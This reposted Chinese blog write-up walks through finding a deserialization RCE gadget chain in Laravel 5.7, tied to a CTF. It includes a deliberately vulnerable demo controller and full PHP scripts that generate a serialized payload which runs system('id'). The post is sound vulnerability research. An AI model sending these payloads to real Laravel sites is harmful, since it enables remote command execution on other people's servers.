Laravel5.7反序列化漏洞之RCE链挖掘

栏目: PHP · 发布时间: 4年前

内容简介:在前一阵的直接使用在

在前一阵的 2019强网杯线下赛 中,出现一道 Laravel5.7 RCE 漏洞的利用。之前有关注过这个漏洞,但没细究。比赛期间,原漏洞作者删除了详细的分析文章,故想自己挖掘这个漏洞利用链。本文将详细记录 Laravel5.7 反序列化漏洞RCE链 的挖掘过程。

漏洞环境

直接使用 composer 安装 laravel5.7 框架,并通过 php artisan serve 命令启动 Web 服务。

➜  html composer create-project laravel/laravel laravel57 "5.7.*"
➜  html cd laravel57
➜  laravel57 php artisan serve --host=0.0.0.0

laravel57/routes/web.php 文件中添加一条路由,便于我们后续访问。

// /var/www/html/laravel57/routes/web.php
<?php
Route::get("/","\App\Http\Controllers\DemoController@demo");
?>

laravel57/app/Http/Controllers/ 下添加 DemoController 控制器,代码如下:

// /var/www/html/laravel57/app/Http/Controllers/DemoController.php
<?php 
namespace App\Http\Controllers;

use Illuminate\Http\Request;

class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.7";
    }
}

漏洞链挖掘

可用于执行命令的功能位于 Illuminate/Foundation/Testing/PendingCommand 类的 run 方法中,而该 run 方法在 __destruct 方法中调用。我们可以参阅官方提供的 API 说明手册,来看下各属性和方法的具体含义。

Laravel5.7反序列化漏洞之RCE链挖掘

接着我们看下 run 方法的具体代码。如下图所示,当执行完 mockConsoleOutput 方法后,程序会在 第22行 执行命令。那么要想利用这个命令执行,我们就要保证 mockConsoleOutput 方法在执行时不会中断程序(如exit、抛出异常等)。

Laravel5.7反序列化漏洞之RCE链挖掘

我们跟进 mockConsoleOutput 方法。在下图 第6行 代码,我们先使用单步调试直接跳过,观察代码是否继续执行到 第10行foreach 代码。如果没有,我们则需要对 第6行 代码进行详细分析。经过调试,我们会发现程序正常执行到 第10行 ,那 第6行 的代码我们就可以先不细究。

Laravel5.7反序列化漏洞之RCE链挖掘

从上图可看出, 第10行 $this->test 对象的 expectedQuestions 属性是一个数组。如果这个数组的内容可以控制,当然会方便我们控制下面的链式调用。所以我们这里考虑通过 __get 魔术方法来控制数据,恰巧 laravel 框架中有挺多可利用的地方,这里我随意选取一个 Faker\DefaultGenerator 类。

Laravel5.7反序列化漏洞之RCE链挖掘

所以我们构造如下 EXP 继续进行测试。同样,使用该 EXPforeach 语句处使用单步跳过,看看是否可以正常执行到 $this->app->bind(xxxx) 语句。实际上,这里可以正常结束 foreach 语句,并没有抛出什么异常。同样,我们对 $this->app->bind(xxxx) 语句也使用单步跳过,程序同样可以正常运行。

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;
            $this->app = $app;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation{
    class Application{
        public function __construct() { }
    }
}

namespace{
    $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
    $application = new Illuminate\Foundation\Application();
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
    echo urlencode(serialize($pendingcommand));
}
?>

使用上面的 EXP ,我们已经可以成功进入到最后一步,而这里如果直接单步跳过就会抛出异常,因此我们需要跟进细看。

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

这里的 $this->app 实际上是 Illuminate\Foundation\Application 类,而在类后面使用 [] 是什么意思呢?一开始,我以为这是 PHP7 的新语法,后来发现并不是。我们在上面的代码前加上如下两段代码,然后动态调试一下。

$kclass = Kernel::class;
$app = $this->app[Kernel::class];
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

可以看到 Kernel::class 对应固定的字符串 Illuminate\Contracts\Console\Kernel ,而单步跳过 $app = $this->app[Kernel::class]; 代码时会抛出异常。跟进这段代码,我们会发现其会依次调用如下类方法,这些我们都不需要太关注,因为没有发现可控点。

Laravel5.7反序列化漏洞之RCE链挖掘

我们要关注的点在最后调用的 resolve 方法上,因为这段代码中有我们可控的利用点。如下图中 角标1 处,可以明显看到程序 return 了一个我们可控的数据。也就是说,我们可以将任意对象赋值给 $this->instances[$abstract] ,这个对象最终会赋值给 $this->app[Kernel::class] ,这样就会变成调用我们构造的对象的 call 方法了。(下图的第二个点是原漏洞作者利用的地方,目的也是返回一个可控类实例,具体可以参看文章: laravelv5.7反序列化rce(CVE-2019-9081)

Laravel5.7反序列化漏洞之RCE链挖掘

现在我们再次构造如下 EXP 继续进行尝试。为了避免文章篇幅过长,与上面 EXP 相同的代码段用省略号代替。

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        ...
    }
}

namespace Faker{
    class DefaultGenerator{
        ...
    }
}

namespace Illuminate\Foundation{
    class Application{
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace{
    $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
    $app = new Illuminate\Foundation\Application();
    $application = new Illuminate\Foundation\Application($app);
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
    echo urlencode(serialize($pendingcommand));
}

?>

我们用上面生成的 EXP 尝试攻击,会发现已经可以成功执行命令了。

Laravel5.7反序列化漏洞之RCE链挖掘

这里我们再来说说为什么这里 $this->instances[‘Illuminate\Contracts\Console\Kernel’] 我选择的是 Illuminate\Foundation\Application 类,我们跟着 EXP

Illuminate\Foundation\Application类继承了 Illuminate\Container\Container 类的 call 方法,其调用的又是 Illuminate\Container\BoundMethodcall 静态方法。而在这个静态方法中,我们看到一个关键函数 call_user_func_array ,其在闭包函数中被调用。

Laravel5.7反序列化漏洞之RCE链挖掘

我们先来看一下这个闭包函数在 callBoundMethod 静态方法中是如何被调用的。可以看到在 callBoundMethod 方法中,返回了闭包函数的调用结果。而闭包函数中返回了 call_user_func_array($callback, static::getMethodDependencies(xxxx)) ,我们继续看这个 getMethodDependencies 函数的代码。该函数仅仅只是返回 $dependencies 数组和 $parameters 的合并数据,其中 $dependencies 默认是一个空数组,而 $parameters 正是我们可控的数据。因此,这个闭包函数返回的是 call_user_func_array(可控数据,可控数据) ,最终导致代码执行。

Laravel5.7反序列化漏洞之RCE链挖掘

总结

个人认为 PHP 相关的漏洞中,最有意思的部分就属于 POP链 的挖掘。通过不断找寻可利用点,再将它们合理的串成一条链,直达漏洞核心。为了防止思维被固化,个人不建议一开始就去细看他人的漏洞分析文章,不妨自己先试着分析分析。待完成整个漏洞的分析(或遇到问题无法继续下去时),再看他人的文章,学习他们优秀的思路,从而提高自身的代码审计能力。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

JavaScript高级程序设计(第3版)

JavaScript高级程序设计(第3版)

[美] Nicholas C. Zakas / 李松峰、曹力 / 人民邮电出版社 / 2012-3-29 / 99.00元

本书是JavaScript 超级畅销书的最新版。ECMAScript 5 和HTML5 在标准之争中双双胜出,使大量专有实现和客户端扩展正式进入规范,同时也为JavaScript 增添了很多适应未来发展的新特性。本书这一版除增加5 章全新内容外,其他章节也有较大幅度的增补和修订,新内容篇幅约占三分之一。全书从JavaScript 语言实现的各个组成部分——语言核心、DOM、BOM、事件模型讲起,深......一起来看看 《JavaScript高级程序设计(第3版)》 这本书的介绍吧!

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具